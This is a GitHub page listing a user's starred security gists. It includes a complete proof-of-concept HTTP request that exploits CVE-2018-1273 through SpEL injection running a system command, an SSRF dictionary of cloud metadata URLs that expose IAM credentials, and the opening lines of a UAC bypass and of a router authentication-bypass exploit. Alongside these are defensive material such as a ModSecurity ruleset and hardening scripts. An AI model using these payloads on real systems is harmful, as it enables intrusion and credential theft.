Skip to content

Instantly share code, notes, and snippets.

View Hamid-K's full-sized avatar

Hamid Hamid-K

147 followers · 20 following
View GitHub Profile
@matthiaskaiser
matthiaskaiser / CVE-2018-1273.http
Created April 12, 2018 08:35
POC for CVE-2018-1273
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
@SniperSister
SniperSister / gist:96bbf89a579f763884ceb0b434d73b36
Last active June 10, 2018 17:57
SA-CORE-2018-002 ruleset
# SPECIFIC: Block #submit #validate #process #pre_render #post_render #element_validate #after_build #value_callback parameters
SecRule REQUEST_FILENAME "(index\.php|\/$)" "chain,id:003294,t:lowercase,t:none,t:utf8toUnicode,t:urlDecodeUni,t:urldecode,block"
SecRule REQUEST_METHOD "^(GET|POST|HEAD)$" chain
SecRule ARGS_NAMES|REQUEST_COOKIES_NAMES "^\#(submit|validate|pre_render|post_render|element_validate|after_build|value_callback|process)$|\[(?:\'|\")?#(submit|validate|pre_render|post_render|element_validate|after_build|value_callback|process)"
# GENERIC: Block all parameters starting with #
SecRule REQUEST_FILENAME "(index\.php|\/$)" "chain,id:003309,t:lowercase,t:none,t:utf8toUnicode,t:urlDecodeUni,t:urldecode,block"
SecRule REQUEST_METHOD "^(GET|POST|HEAD)$" chain
@jhaddix
jhaddix / cloud_metadata.txt
Last active May 8, 2025 09:39 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@pydevops
pydevops / gcloud-cheat-sheet.md
Last active May 5, 2025 03:55
gcp gcloud cheat sheet
@hfiref0x
hfiref0x / akagi_42b.c
Last active February 14, 2024 11:56
UAC bypass using FwCplLua COM interface and HKCU mscfile registry entry hijack
typedef interface IFwCplLua IFwCplLua;
typedef struct IFwCplLuaInterfaceVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in IFwCplLua * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);
@hghwng
hghwng / .gitignore
Last active April 12, 2025 13:32
SciTools Understand for Arch Linux
pkg/
src/
understand-bin-*.pkg.*
Understand-*.tgz
.SRCINFO
@FrankSpierings
FrankSpierings / README.md
Last active February 20, 2025 10:48
Linux Container Escapes and Hardening
@subinacls
subinacls / Windows10Reloaded.ps1
Created May 16, 2017 17:09
Windows 10 Reloaded Security/Hardening powershell script enables basic IPSec, Chrome policy, Adobe Reader and Acrobat Security features and disables various telemetry. This also removes all default installed apps, and installs apps of your choice.
##########
# Win10 Initial Setup Script
# Author: Disassembler, Gr1d:, TheRoc
# Edited by Gr1D:
# dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
# TheROC's E.T. Disable script: https://gist.github.com/thoroc/86d354d029dda303598a
# THIS IS VERSION 5.5, error suppression is turned on. PLEASE be patient and PLEASE restart after running the script.
# This script leaves more MS defaults on, including MSE and smart-screen,
# but blocks a ton of domains and disables remote assistance secures java, sets up ipsec..
@mattifestation
mattifestation / wmi_provider_association.ps1
Last active August 16, 2022 05:14
Enumerates WMI providers, the DLLs that back the provider, and the classes hosted by the provider.
<#
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
#>
function Get-WmiNamespace {
[OutputType([String])]
Param (
[String]
[ValidateNotNullOrEmpty()]
@doorbash
doorbash / MisfortuneCookieExploit.py
Last active March 18, 2024 16:46
Multiple Vendors (RomPager <= 4.34) - Misfortune Cookie Router Authentication Bypass
# Title: Misfortune Cookie Exploit (RomPager <= 4.34) router authentication bypass exploit
# Date: 17/4/2016
# CVE: CVE-2015-9222 (http://mis.fortunecook.ie)
# Vendors: ZyXEL,TP-Link,D-Link,Nilox,Billion,ZTE,AirLive,...
# Vulnerable models: http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf
# Versions affected: RomPager <= 4.34 (specially 4.07)
# Link: https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67
# Exploit Database link: https://www.exploit-db.com/exploits/39739/
# 0day.today link: http://0day.today/exploit/25259
# Routersploit module : https://github.com/reverse-shell/routersploit/blob/master/routersploit/modules/exploits/multi/misfortune_cookie.py